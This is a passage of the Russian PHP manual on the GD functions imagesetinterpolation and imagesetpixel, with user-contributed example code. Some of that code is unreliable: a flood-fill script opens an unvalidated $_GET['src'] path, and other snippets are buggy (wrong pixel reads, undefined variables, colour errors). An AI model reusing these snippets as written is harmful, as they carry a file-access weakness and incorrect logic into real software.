Координата по y верхнего левого угла.

x2

Координата по x нижнего левого угла.

y2

Координата по y нижнего правого угла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Смотрите также

  • imagegetclip() - Получить отсекающий прямоугольник

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает метод интерполяции

  • « imagesetclip
  • imagesetpixel »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Устанавливает метод интерполяции

imagesetinterpolation

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagesetinterpolation — Устанавливает метод интерполяции

Описание

imagesetinterpolation(GdImage $image, int $method = IMG_BILINEAR_FIXED): bool

Устанавливает метод интерполяции, установка метода интерполяции влияет на отображение различных функций в GD, таких как функция imagerotate().

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

method

Метод интерполяции, который может быть одним из следующих:

  • IMG_BELL: Фильтр Белла.
  • IMG_BESSEL: Фильтр Бесселя.
  • IMG_BICUBIC: Бикубическая интерполяция.
  • IMG_BICUBIC_FIXED: Фиксированная точка реализации бикубической интерполяции.
  • IMG_BILINEAR_FIXED: Реализация билинейной интерполяции с фиксированной запятой (по умолчанию (также при создании изображения)).
  • IMG_BLACKMAN: Оконная функция Блэкмана.
  • IMG_BOX: Фильтр Коробка размытия.
  • IMG_BSPLINE: Сплайн-интерполяция.
  • IMG_CATMULLROM: Кубическая эрмитовая сплайн-интерполяция.
  • IMG_GAUSSIAN: Гауссова функция.
  • IMG_GENERALIZED_CUBIC: Обобщённая кубическая сплайн-фрактальная интерполяция.
  • IMG_HERMITE: Интерполяция Эрмита.
  • IMG_HAMMING: Фильтр Хэмминга.
  • IMG_HANNING: Фильтр Хеннинга.
  • IMG_MITCHELL: Фильтр Митчелла.
  • IMG_POWER: Степенная интерполяция.
  • IMG_QUADRATIC: Обратная квадратичная интерполяция.
  • IMG_SINC: Синк функция.
  • IMG_NEAREST_NEIGHBOUR: Интерполяция ближайшего соседа.
  • IMG_WEIGHTED4: Весовой фильтр.
  • IMG_TRIANGLE: Треугольная интерполяция.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagesetinterpolation()

<?php
// Загрузка изображения
$im = imagecreate(500, 500);

// По умолчанию интерполяция IMG_BILINEAR_FIXED, переключитесь
// на использование фильтра 'Митчелла':
imagesetinterpolation($im, IMG_MITCHELL);

// Continue to work with $im ...
?>

Примечания

Изменение метода интерполяции влияет на следующие функции при отображении:

  • imageaffine()
  • imagerotate()

Смотрите также

  • imagegetinterpolation() - Получает метод интерполяции

User Contributed Notes

shaun at slickdesign dot com dot au 29-Nov-2017 08:27
Setting the interpolation does not carry through to any images created by imageaffine() or imagerotate(). It defaults to IMG_BILINEAR_FIXED and would need to be set on each generated image as required.

<?php
imagesetinterpolation( $image, IMG_NEAREST_NEIGHBOUR );

// Rotated using IMG_NEAREST_NEIGHBOUR
$rotated = imagerotate( $image, 45, $transparent );

// Rotated using IMG_BILINEAR_FIXED
$rotated_again = imagerotate( $rotated, 45, $transparent );
?>

Setting the interpolation to IMG_NEAREST_NEIGHBOUR can help to preserve details and prevent sampling issues when rotating an image at 90 degree increments, including when rotating clockwise.

<?php
// Rotated image can appear blurred and on a slight angle.
$rotated = imagerotate( $image, -360, $transparent );

// Similar to starting Image although it may still show a background or be on a slight angle.
imagesetinterpolation( $image, IMG_NEAREST_NEIGHBOUR );
$rotated = imagerotate( $image, -360, $transparent );
?>


Рисование точки

  • « imagesetinterpolation
  • imagesetstyle »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование точки

imagesetpixel

(PHP 4, PHP 5, PHP 7, PHP 8)

imagesetpixel — Рисование точки

Описание

imagesetpixel(
GdImage $image,
int $x,
int $y,
int $color
): bool

imagesetpixel() рисует точку (пиксел) на заданных координатах.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x

x-координата.

y

y-координата.

color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagesetpixel()

Рисование "случайных" точек, дающее в результате фрактальное изображение.

<?php

$x = 200;
$y = 200;

$gd = imagecreatetruecolor($x, $y);

$corners[0] = array('x' => 100, 'y' => 10);
$corners[1] = array('x' => 0, 'y' => 190);
$corners[2] = array('x' => 200, 'y' => 190);

$red = imagecolorallocate($gd, 255, 0, 0);

for ($i = 0; $i < 100000; $i++) {
imagesetpixel($gd, round($x), round($y), $red);
$a = rand(0, 2);
$x = ($x + $corners[$a]['x']) / 2;
$y = ($y + $corners[$a]['y']) / 2;
}

header('Content-Type: image/png');
imagepng($gd);

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagesetpixel()

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения
  • imagecolorallocate() - Создание цвета для изображения
  • imagecolorat() - Получение индекса цвета пиксела

User Contributed Notes

gerben at gerbs dot net 25-Dec-2017 02:37
Note that you don't have to use imagecolorallocate to draw pixels. Instead, you can assign colors directly, which is much faster as well:
<?php
imagesetpixel($img, $x, $y, $r << 16 | $g << 8 | $b);
?>
CR@SH 25-Feb-2014 11:27
imagesetpixel ($image, $x, $y, IMG_COLOR_BRUSHED);
guy032 at gmail dot com 03-May-2012 06:57
making images with white (or close to white) background transprent

<?
function FloodFill($im, $x, $y)
{
    $rgb = imagecolorat($im, $x, $y);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;

    $counter=0;
    $counter2=0;
    if($r >= 245){ $counter++;}
    if($g >= 245){ $counter++;}
    if($b >= 245){ $counter++;}
    if($r >= 240){ $counter2++;}
    if($g >= 240){ $counter2++;}
    if($b >= 240){ $counter2++;}

    if($counter >= 1 && $counter2 == 3){
        $background = imagecolorallocate($im, 180, 0, 255);
        imagesetpixel($im, $x, $y, $background);

        FloodFill ($im, $x, $y+1);
        FloodFill ($im, $x+1, $y);
        FloodFill ($im, $x, $y-1);
    }
}

$src = $_GET["src"];
$im = imagecreatefromjpeg($src);

// Draw border
$border = imagecolorallocate($im, 180, 0, 255);
drawBorder($im, $border, 1);

// Draw a border
function drawBorder($im, $color, $thickness = 1)
{
    $x1 = 0;
    $y1 = 0;
    $x2 = ImageSX($im) - 1;
    $y2 = ImageSY($im) - 1;

    for($i = 0; $i < $thickness; $i++)
    {
        ImageRectangle($im, $x1++, $y1++, $x2--, $y2--, $color);
    }
}

$rgb = imagecolorat($im, 0, 0);
FloodFill($im, 0, 0);
$color = imagecolorallocate($im, 180, 0, 255);
imagecolortransparent($im, $color);
header("Content-type: image/png");
imagepng($im);
imagedestroy($im);
?>
mail AT kkapsner DOT de 07-May-2010 04:04
It IS posible to "delete" pixels from an image in PHP natively - the key-function is imageAlphaBlending:
<?php

$image = imageCreateTrueColor(101, 101);
imageSaveAlpha($image, true);

# draw a red cycle with alpha blending
$red = imageColorAllocateAlpha($image, 255, 0, 0, 30);
imageFilledEllipse($image, 50, 50, 100, 100, $red);

# disable alpha blending for deletion
imageAlphaBlending($image, false);

# paint with a complete opaque color
$trans = imageColorAllocateAlpha($image, 0, 0, 0, 127);

# you can clear every shape you like
imageFilledRectangle($image, 30, 30, 70, 70, $trans);

# enable alpha blending again
imageAlphaBlending($image, true);

# draw a green rectangle with alpha blending
$green = imageColorAllocateAlpha($image, 0, 255, 0, 40);
imageFilledRectangle($image, 40, 20, 90, 80, $green);

header("Content-Type: image/png");
imagePNG($image);

?>
cyberhorse at users dot sourceforge dot net 18-Feb-2010 07:54
Given an image $src and mask $mask, this applies the mask over the image, using different levels of transparency properly.

<?php
function image_mask(&$src, &$mask) {
    imagesavealpha($src, true);
    imagealphablending($src, false);
    // scan image pixels
    for ($x = 0; $x < imagesx($src); $x++) {
        for ($y = 0; $y < imagesy($src); $y++) {
            $mask_pix = imagecolorat($mask,$x,$y);
            $mask_pix_color = imagecolorsforindex($mask, $mask_pix);
            if ($mask_pix_color['alpha'] < 127) {
                $src_pix = imagecolorat($src,$x,$y);
                $src_pix_array = imagecolorsforindex($src, $src_pix);
                imagesetpixel($src, $x, $y, imagecolorallocatealpha($src, $src_pix_array['red'], $src_pix_array['green'], $src_pix_array['blue'], 127 - $mask_pix_color['alpha']));
            }
        }
    }
}
?>

If your mask is reversed, change 127 - $mask_pix_color['alpha'] with just $mask_pix_color['alpha']
caffinated 28-Aug-2009 05:21
Want to have some fun with this function?  How about edge detection! (ported from http://bitecode.co.uk/2008/07/edge-detection-in-python/)

<?php
function edge($input, $output)
{
  $in_im = imageCreateFromJpeg($input);
  $gx = array(array(-1, 0, 1), array(-2, 0, 2), array(-1, 0, 1));
  $gy = array(array(-1, -2, -1), array(0, 0, 0), array(1, 2, 1));
  $x = imagesx($in_im);
  $y = imagesy($in_im);
  $out_im = imagecreatetruecolor($x, $y);
  $colors = array(255 => imagecolorallocate($out_im, 255, 255, 255));
  for ($row = 1; $row < $x; $row++)
  {
    for ($col = 1; $col < $y; $col++)
    {
      $eyedropper =imagecolorat($in_im, $x, $y);
      $color =imagecolorsforindex($in_im, $eyedropper);
      $pxval = ($color['red'] + $color['green'] + $color['blue']) / 3;
      $pixel_gx = $pixel_gy = 0;
      for ($i = -1; $i < 2; $i++)
      {
        for ($j = -1; $j < 2; $j++)
        {
          $eyedropper =imagecolorat($in_im, $row+$i, $col+$j);
          $color =imagecolorsforindex($in_im, $eyedropper);
          $val = ($color['red'] + $color['green'] + $color['blue']) / 3;
          $pixel_gx += $gx[$i+1][$j+1] * $val;
          $pixel_gy += $gy[$i+1][$j+1] * $val;
        }
      }
      $pixel = sqrt($pixel_gx * $pixel_gx + $pixel_gy * $pixel_gy);
      $pixel = abs(255 - (int)$pixel);
      if (!isset($colors[$pixel])) $colors[$pixel] = imagecolorallocate($out_im, $pixel, $pixel, $pixel);
      imageSetPixel($out_im, $row, $col, $colors[$pixel]);
    }
  }
  imagejpeg($out_im,$output, 75);
}

edge('input.jpg', 'output.jpg');

?>
aelitadelarobia at gmail dot com 15-Aug-2009 12:56
another gradient example that can do horizontal or vertical gradients

<?php
$width=$_GET['width'];
$height=$_GET['height'];
$starts=explode(",",$_GET['startcolor']);
$ends=explode(",",$_GET['endcolor']);
    $rstart=$starts[0];
    $gstart=$starts[1];
    $bstart=$starts[2];
    $rend=$ends[0];
    $gend=$ends[1];
    $bend=$ends[2];
    $r=$rstart;
    $g=$gstart;
    $b=$bstart;
$bigger=imagecreatetruecolor($width,$height);
for ($y=0;$y<=265;$y++) {
    if ($mode == 'horiz') { //if doing a horizontal gradient, reset to the starting color every row
        $r=$rstart;
        $g=$gstart;
        $b=$bstart;
    }
    for ($x=0;$x<=464;$x++) {
        imagesetpixel($bigger,$x,$y,imagecolorallocate($bigger,$r,$g,$b));
        if ($mode=="horiz") {
            if ($r != $rend) {
                $r=$r+(($rend-$rstart)/$width);
            }
            if ($g != $gend) {
                $g=$g+(($gend-$gstart)/$width);
            }
            if ($b != $bend) {
                $b=$b+(($bend-$bstart)/$width);
            }
        }
    }
    if ($mode == "vert") {
        if ($r != $rend) {
            $r=$r+(($rend-$rstart)/$height);
        }
        if ($g != $gend) {
            $g=$g+(($gend-$gstart)/$height);
        }
        if ($b != $bend) {
            $b=$b+(($bend-$bstart)/$height);
        }
    }
}
header("Content-type: image/jpeg");
header('Content-Disposition: inline; filename="gradient.jpg"');

imagejpeg($bigger,NULL,99);
imagedestroy($bigger);
?>
CPHaxer 25-Feb-2009 01:35
Sorry for the long intro of my function, but i just want to tell how it works and - how silly sometimes the ideas are to make such functions. Have fun ;D

<?php

  //@FunctionName:    drawPlot
  //@Parameters:      drawPlot(img &$image, int $red, int $green, int $blue, int $x, int $y)
  //
  //                  img $image
  //                    The Image it will draw on. The Image will be modified; there is no return value.
  //
  //                  int $red, int $green, int $blue
  //                    The Colorvalues to draw with
  //
  //                  int $x, int $y
  //                    The Location to draw the Plot.
  //                    And this is the Mainpart, because $x and $y
  //                    NEED NOT be rounded!
  //                    If you want to make a Plot at [253.643891, 482];
  //                    It will draw the Plot there. Exact at the Coordinates.
  //                    You could use this to make smooth lines.
  //                    They have rational Coordinates, too.
  //
  //@Author:          Alexander Rath (*Feb 9th, 1996 ; 13 Years old)
  //
  //@Idea:            We have in Math Geometrie now. And as the only Computerfreak
  //                  In the class, i asked me: "How would it be, to mirror something
  //                  At a NOT FLAT LINE."
  //                  So I started thinking about it. First i tought about degresses - Nah!
  //                  Then i saw:
  //                  A point to mirror, has the SHORTEST way to the Line;
  //                  so i just needed to make the result smooth.
  //                  Unlike the other ways to draw pixels.
  //                                ~I started developing this:
  // PS: Sorry for bad english ( I am german )

  //Lets create a TrueColor Image Resource
  $image = imagecreatetruecolor(640, 480);

  //Lets make it Alpha
  imagealphablending($image, true);
  imagesavealpha($image, true);

  //...with White Background to draw on.
  imagefilledrectangle($image, 0, 0, 640, 480, imagecolorallocate($image, 255, 255, 255));

  //This is my little "Example"-Script
  for($x = 0; $x <= 640; $x = $x + 0.01) {
    $y = $x / (tan($x) + 1);
    drawPlot($image, 0, 0, 0, $x, $y);
  }

  header("Content-type: image/png");
  imagepng($image);

  function drawPlot(&$func_image, $func_red, $func_green, $func_blue, $func_x, $func_y) {
    $func_Right = $func_x - floor($func_x);
      $func_Left = 1 - $func_Right;

      $func_Bottom = $func_y - floor($func_y);
      $func_Top = 1 - $func_Bottom;

    $func_RightAlpha = $func_Right * 127;
    $func_LeftAlpha = $func_Left * 127;

    $func_LeftTop = $func_LeftAlpha * $func_Top;
    $func_RightTop = $func_RightAlpha * $func_Top;
    $func_LeftBottom = $func_LeftAlpha * $func_Bottom;
    $func_RightBottom = $func_RightAlpha * $func_Bottom;

    $func_x = floor($func_x);
    $func_y = floor($func_y);

    imagesetpixel($func_image, $func_x, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftTop));
    imagesetpixel($func_image, $func_x + 1, $func_y, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightTop));
    imagesetpixel($func_image, $func_x + 1, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_RightBottom));
    imagesetpixel($func_image, $func_x, $func_y + 1, imagecolorallocatealpha($func_image, $func_red, $func_green, $func_blue, 127 - $func_LeftBottom));
  }

?>

Have fun ;D
Scott Evernden (doctor3d at gmail) 19-Dec-2008 05:00
Re: imagecreatefromtga() .. I just did some testing with what I think are valid Targa-24 and Targa-32 bit images, and modified the inner logic as follows:

<?php
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 7;
            $g = ($word & 0x03E0) >> 2;
            $b = ($word & 0x001F) << 3;
            $a = ($word & 0x8000) ? 127 : 0;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);         }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - BBBBBBBB GGGGGGGG RRRRRRRR
        {
            $r = fileint($data, $pointer, 1);
            $b = fileint($data, $pointer+1, 1);
            $g = fileint($data, $pointer+2, 1);
            $color = imagecolorallocate($image, $r, $g, $b);
            imagesetpixel($image, $x, $y, $color);
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA
        {
            $b = fileint($data, $pointer, 1);
            $g = fileint($data, $pointer+1, 1);
            $r = fileint($data, $pointer+2, 1);
            $a = (255 - fileint($data, $pointer+3, 1)) >> 1;
            $color = imagecolorallocatealpha($image, $r, $g, $b, $a);
            imagesetpixel($image, $x, $y, $color);
        }
?>

The red and blue tint issue seems to be fixed by this...
mm 14-Dec-2008 06:30
@ Scott Evernden

Scott, your function works great for uncompressed TGA image files, except the results for TGA 32 with alpha don't come out right, at least in my tests. If the alpha is all white, the resulting image comes out with a red tint. If black, the resulting image has a blue tint. I don't know how to make it just ignore the alpha, but that would be handy...
Anonymous 15-Jul-2008 09:41
This snippet creates a gradient images depending on the value of RGB components. Gradients allow your page to have a shadow effect.

<?php
try{
   if(!$image=imagecreatetruecolor(50,10)){
     throw new Exception('Error creating image');
   }

   for($y=0;$y<10;++$y)
      {
      $color=imagecolorallocate($image, 75+($y*5),75+($y*11),75+($y*9));
      for($x=0;$x<50;++$x)
         {
         imagesetpixel($image,$x,$y,$color);
         }
      }

   //header("Content-type: image/jpeg");
   imagejpeg($image,'footerShadow.jpg');
   // free memory
   imagedestroy($image);

}
catch(Exception $e){
   echo $e->getMessage();
   exit();
}
?>
Scott Evernden (doctor3d at gmail) 30-Apr-2008 03:44
My last note doesn't do alpha properly, so make the following change to the appropriate lines:

$r = ($word & 0x7C00) >> 7;
$g = ($word & 0x03E0) >> 2;
$b = ($word & 0x001F) << 3;
$a = ($word & 0x8000) ? 127 : 0;
$color = imagecolorallocatealpha($image, $r, $g, $b, $a);
imagesetpixel($image, $x, $y, $color);
Scott Evernden (doctor3d at gmail) 25-Apr-2008 06:25
here's my version of imagecreatefromtga() that's been tested to work for targa 16 .. adapted from offering by zehao dot chang at gmail dot com

function imagecreatefromtga($filename)
{
    $data = file_get_contents($filename);

    // Extract header information
    $string_length = fileint($data, 1, 1);
    $data_type = fileint($data, 2, 1);
    $width = fileint($data, 12, 2);
    $height = fileint($data, 14, 2);
    $bits_per_pixel = fileint($data, 16, 1);

    $bytes_per_pixel = (int) $bits_per_pixel / 8;

    // Currently only supporting RGB Data type
    switch ($data_type)        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:     // Uncompressed RGB image
            break;
        case 0:     // No attached image data
        case 1:     // Uncompressed color-mapped image
        case 3:     // Uncompressed black and white image
        case 9:     // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $x = 0;  $y = $height - 1;

    $image = imagecreatetruecolor($width, $height);

    while ($pointer < strlen($data))
    {
        if ($bytes_per_pixel == 2)            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $word = fileint($data, $pointer, 2);
            $r = ($word & 0x7C00) >> 10;
            $g = ($word & 0x03E0) >> 5;
            $b = ($word & 0x001F);
            imagesetpixel($image, $x, $y, $r << 19 | $g << 11 | $b << 3);
        }
        else if ($bytes_per_pixel == 3)        // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer, 3));
        }
        else if ($bytes_per_pixel == 4)        // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel($image, $x, $y, fileint($data, $pointer + 1, 3));
        }

        if (++$x == $width)
        {
            $y--;
            $x = 0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

function fileint($data, $pos, $len)
{
    return base_convert(bin2hex(strrev(substr($data, $pos, $len))), 16, 10);
}
Gusts Kaksis 13-Apr-2007 07:29
This code generate a simple colortable - not a very acurate one (it would be good to define fade of color - more fading)

<?php
set_time_limit(200);
/*
Custommize this to see some nice changes:
*/
$width = 360;   // degrees
$height = 18;   // byte
$offset = -60;    // offset of color hue

/*
Main programm:
Here comes transformations - width to degrees and height to intesity
*/
$w2deg = $width/360;
$h2byte = $height/255;
$byte2deg = 255/360;
$im = imagecreatetruecolor($width,$height);
for ($x = 0; $x < $width; $x ++){
  /*
  Transform X to degrees
  */
  $x_pos = $x/$w2deg;
  /*
  Intensity position (where max intensity is 255) on 360 degree scale.
  0 = red
  1 = green
  2 = blue
  */
  $rgb_pos[0] = sin(deg2rad($x_pos) - deg2rad($offset + 0));
  $rgb_pos[1] = sin(deg2rad($x_pos) - deg2rad($offset + 120));
  $rgb_pos[2] = sin(deg2rad($x_pos) - deg2rad($offset + 240));
  /*
  Calculate intesity at current point 0 - 255
  */
  $rgb_col[0] = 127 + 127 * $rgb_pos[0];
  $rgb_col[1] = 127 + 127 * $rgb_pos[1];
  $rgb_col[2] = 127 + 127 * $rgb_pos[2];

  /*
  White -> color -> Black loop
  */
  for ($y = 0; $y < $height; $y ++){
    /*
    Transform Y to intensity (-255 to 255)
    */
    $y_pos = -255 + ($y/$h2byte) * 2;
    $rgb_out[0] = $rgb_col[0] - $y_pos;
    $rgb_out[1] = $rgb_col[1] - $y_pos;
    $rgb_out[2] = $rgb_col[2] - $y_pos;

    /*
    If we go over 255 or under 0 we normalize it
    */
    foreach($rgb_out as $key => $col){
      if ($col > 255){
        $rgb_out[$key] = 255;
      } else if ($col < 0){
        $rgb_out[$key] = 0;
      }
    }
    /*
    Put a pixel
    */
    $col = imagecolorallocate($im,$rgb_out[0],$rgb_out[1],$rgb_out[2]);
    imagesetpixel($im,$x,$y,$col);
  }
}
/*
Test output
*/
imagejpeg($im,'colortable.jpg');
echo '<img src="colortable.jpg">';
?>
zehao dot chang at gmail dot com 06-Apr-2006 01:00
Here's my stab at the imagecreatefromtga function. I used code from send at mail dot 2aj dot net and others below as a basis, and added support for targa 16, targa 24 and targa 32. However, I only support uncompressed RBG data type as that's the only one I need. (I removed the return_array feature since you can simply use imagesx() and imagesy() to get the image size).

Please note that I have not tested this with a targa 16 since I don't have one handy at the moment.

<?php

function imagecreatefromtga( $filename )
{
    $handle = fopen( $filename, 'rb' );
    $data = fread( $handle, filesize( $filename ) );
    fclose( $handle );

    // Extract header information
    $string_length = base_convert( bin2hex( substr($data,1,1) ), 16, 10 );
    $data_type = base_convert( bin2hex( substr($data,2,1) ), 16, 10 );
    $width = base_convert( bin2hex( strrev( substr($data,12,2) ) ), 16, 10 );
    $height = base_convert( bin2hex( strrev( substr($data,14,2) ) ), 16, 10 );
    $bits_per_pixel = base_convert( bin2hex( substr($data,16,1) ), 16, 10 );

    // Currenly I'm only supporting RGB Data type
    switch( $data_type )        // Header information taken from http://astronomy.swin.edu.au/~pbourke/dataformats/tga/
    {
        case 2:        // Uncompressed RGB image
            break;
        case 0:        // No attached image data
        case 1:        // Uncompressed color-mapped image
        case 3:        // Uncompressed black and white image
        case 9:        // Runlength encoded color-mapped image
        case 10:    // Runlength encoded RGB image
        case 11:    // Compressed black and white image
        case 32:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding
        case 33:    // Compressed color-mapped data, using Huffman, Delta, and runlength encoding.  4-pass quadtree-type process
        default:
            return NULL;    // No support for any of these types
    }

    // Compute things we need from the header information
    $pointer = 18 + $string_length;
    $bytes_per_pixel = (int) $bits_per_pixel/8;
    $x = 0;  $y = $height;

    $image = imagecreatetruecolor($width, $height);

    while ( $pointer < strlen($data) )
    {
        if( $bytes_per_pixel == 2 )            // TARGA 16 - ARRRRRGG GGGBBBBB
        {
            $low_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $high_byte = bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel)));
            $r = base_convert( ($high_byte & 0x7C)>>2, 16, 10);
            $g = base_convert( (($high_byte & 0x03)<<3) | (($low_byte & 0xE0)>>5), 16, 10);
            $b = base_convert( $low_byte & 0x1F, 16, 10);
            imagesetpixel( $image, $x, $y, $r<<16 | $g<<8 | $b);
        }
        else if( $bytes_per_pixel == 3 )    // TARGA 24 - RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel))), 16, 10));
        }
        else if( $bytes_per_pixel == 4 )    // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel-1))), 16, 10));
        }

        if(++$x == $width)
        {
            $y--;
            $x=0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

?>
T. Dekker 30-Nov-2005 02:53
In reply to weitheism at gmail.com:

You should probably have used ImageAlphaBlending($image, false); in your early attempts. This way any paint/fill operation replaces the alpha value of the destination.
Brian Vaughn [php at boynamedbri dot com] 28-Aug-2005 12:00
I looked, but was unable to find any example code to watermark an image with a watermark that contained alpha transparency. So the following class does just that. As a parameter, it takes 2 image objects: the main image, and the watermark image (which can be a gif, png, whatever) - and optionally, an alpha setting (0-100% alpha for the watermark image). It then creates and returns a new image with the alpha-transparent watermark imposed, center-aligned, over the larger image.

<?php
class watermark{

    function create_watermark( $dst_img, $watermark_img, $alpha = 100 ) {
        $alpha    /= 100;    # convert 0-100% user-friendly alpha to decimal

        # calculate our images dimensions
        $dst_img_w    = imagesx( $dst_img );
        $dst_img_h    = imagesy( $dst_img );
        $watermark_img_w    = imagesx( $watermark_img );
        $watermark_img_h    = imagesy( $watermark_img );

        # create new image to hold merged changes
        $return_img    = imagecreatetruecolor( $dst_img_w, $dst_img_h );
#        $return_img    = imagecreate( $dst_img_w, $dst_img_h );

        # determine center position coordinates
        $dst_img_min_x    = floor( ( $dst_img_w / 2 ) - ( $watermark_img_w / 2 ) );
        $dst_img_max_x    = ceil( ( $dst_img_w / 2 ) + ( $watermark_img_w / 2 ) );
        $dst_img_min_y    = floor( ( $dst_img_h / 2 ) - ( $watermark_img_h / 2 ) );
        $dst_img_max_y    = ceil( ( $dst_img_h / 2 ) + ( $watermark_img_h / 2 ) );

        # walk through main image
        for( $y = 0; $y < $dst_img_h; $y++ ) {
            for( $x = 0; $x < $dst_img_w; $x++ ) {
                $return_color    = NULL;

                # determine the correct pixel location within our watermark
                $watermark_x    = $x - $dst_img_min_x;
                $watermark_y    = $y - $dst_img_min_y;

                # fetch color information for both of our images
                $dst_rgb = imagecolorsforindex( $dst_img, imagecolorat( $dst_img, $x, $y ) );

                # if our watermark has a non-transparent value at this pixel intersection
                # and we're still within the bounds of the watermark image
                if (    $watermark_x >= 0 && $watermark_x < $watermark_img_w &&
                            $watermark_y >= 0 && $watermark_y < $watermark_img_h ) {
                    $watermark_rbg = imagecolorsforindex( $watermark_img, imagecolorat( $watermark_img, $watermark_x, $watermark_y ) );

                    # using image alpha, and user specified alpha, calculate average
                    $watermark_alpha    = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
                    $watermark_alpha    = $watermark_alpha * $alpha;

                    # calculate the color 'average' between the two - taking into account the specified alpha level
                    $avg_red        = $this->get_ave_color( $dst_rgb['red'],        $watermark_rbg['red'],        $watermark_alpha );
                    $avg_green    = $this->get_ave_color( $dst_rgb['green'],    $watermark_rbg['green'],    $watermark_alpha );
                    $avg_blue        = $this->get_ave_color( $dst_rgb['blue'],    $watermark_rbg['blue'],        $watermark_alpha );

                    # calculate a color index value using the average RGB values we've determined
                    $return_color    = $this->imagegetcolor( $return_img, $avg_red, $avg_green, $avg_blue );

                # if we're not dealing with an average color here, then let's just copy over the main color
                } else {
                    $return_color    = imagecolorat( $dst_img, $x, $y );

                } # END if watermark

                # draw the appropriate color onto the return image
                imagesetpixel( $return_img, $x, $y, $return_color );

            } # END for each X pixel
        } # END for each Y pixel

        # return the resulting, watermarked image for display
        return $return_img;

    } # END create_watermark()

    # average two colors given an alpha
    function get_ave_color( $color_a, $color_b, $alpha ) {
        return round( ( ( $color_a * ( 1 - $alpha ) ) + ( $color_b    * $alpha ) ) );
    } # END get_ave_color()

    # return closest pallette-color match for RGB values
    function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
    } # EBD imagegetcolor()

} # END watermark API
?>
weitheism at gmail.com 08-Aug-2005 12:22
I was looking for a way to actually DELETE pixels or squares or parts of an image from an image resource, and at first I thought imagesetpixel would do the trick. Unfortunately, it merely paints over that one pixel, and as far as I knew, php didn't have any native way of deleting sections out of your image - so this little method should take care of deleting rectangular parts of your pictures!

function deleteRectangle(&$oldImage,$leftX,$leftY,$rightX,$rightY)
    {
        // Since php has no native way of delete parts of images
        // We have to divide the image into four different parts and then copy them manually to a new
        // image

        $xSize = imagesx($oldImage);
        $ySize = imagesy($oldImage);

        // Divides the image into four sections to copy
        $imagesection = array();
        $imagesection[] = array(0,0,$leftX,$ySize);
        $imagesection[] = array($leftX,0,$rightX+1,$leftY);
        $imagesection[] = array($leftX,$rightY+1,$rightX+1,$ySize);
        $imagesection[] = array($rightX+1,0,$xSize,$ySize);

        // Create the new, copied image
        $newImage = imagecreatetruecolor($xSize,$ySize);
        // Vital for transparency
        imagesavealpha($newImage,true);

        // Fills the background a transparent color
        $transparentBackground = imagecolorallocatealpha($newImage,255,255,255,127);
        imagefill($newImage,0,0,$transparentBackground);

        // Copies each of the four imagesections into their respective old positions
        for($i = 0;$i<count($imagesection);$i++)
